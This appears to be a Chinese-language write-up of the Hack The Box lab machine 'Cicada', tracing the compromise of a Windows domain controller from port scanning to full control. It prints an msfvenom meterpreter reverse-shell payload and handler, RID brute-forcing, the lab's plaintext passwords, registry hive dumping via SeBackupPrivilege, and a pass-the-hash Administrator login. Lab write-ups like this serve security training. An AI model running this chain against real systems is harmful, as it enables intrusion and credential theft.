Cicada(HTB Easy)

基本信息

  • IP:10.10.11.35
  • VPN:10.10.16.16
  • 域名:cicada.htb

信息收集

vim /etc/hosts
nmap -sC -sV -Pn -T4 -p- -oN Allports.nmap 10.10.11.35
Host script results:
| smb2-security-mode:
|   3:1.1:
|_    Message signing enabled and required
|_clock-skew: 6h48m43s
| smb2-time:
|   date: 2024-10-03T12:00:17
|_  start_date: N/A
rustscan -a 10.10.11.35 -- -sCTV
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0.)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

445 开放,先用 CVE-2020-0796(SMBGhost)验证:

git clone https://github.com/ly4k/SMBGhost.git
python3 scanner.py 10.10.11.35
10.10.11.35 Vulnerable

User

尝试 RCE PoC:

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC
cd SMBGhost_RCE_PoC
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.16 LPORT=5555 -b '\x00' -i 1 -f python > exploit
sed 's/buf/USER_PAYLOAD/g' exploit

把替换好的 USER_PAYLOAD 写进 exploit.py。Metasploit 监听:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 10.10.16.16
set lport 4444
run
python3 exploit.py -ip 10.10.11.35

利用失败,靶机开了防火墙。改走 SMB。

smbclient -L //10.10.11.35
smbclient -N //10.10.11.35

发现 HR 目录并拿到密码,但不知道用户。RID 爆破用户名:

crackmapexec smb cicada.htb -u "guest" -p '' --rid-brute | grep SidTypeUser
500: CICADA\Administrator (SidTypeUser)
501: CICADA\Guest (SidTypeUser)
502: CICADA\krbtgt (SidTypeUser)
1000: CICADA\CICADA-DC$ (SidTypeUser)
1104: CICADA\john.smoulder (SidTypeUser)
1105: CICADA\sarah.dantelia (SidTypeUser)
1106: CICADA\michael.wrightson (SidTypeUser)
1108: CICADA\david.orelious (SidTypeUser)
1601: CICADA\emily.oscars (SidTypeUser)
enum4linux-ng -A -u 'Michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' -t 20 10.10.11.35

发现 david.orelious 的密码 aRt$Lp#7t*VQ!3。

smbclient //10.10.11.35/DEV -U david.orelious

Backup_script.ps1 里有 emily.oscars 备份凭据:

$destinationDirectory = "D:\Backup"
emily.oscars
Q!3@Lp#M6b*7t*Vt
evil-winrm -i cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

拿到 user 权限。

Root

whoami /all

当前拥有 SeBackupPrivilege,可用来提权。参考:https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/

cd c:\
mkdir Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
cd Temp
download sam
download system
exit

本机提取哈希:

pypykatz registry --sam sam system
evil-winrm -i 10.10.11.35 -u administrator -H "2b87e7c93a3e8a0ea4a581937016f341"

把 Administrator 的 NTLM 填进 -H,登录成功。

至此已经获取机器全部权限。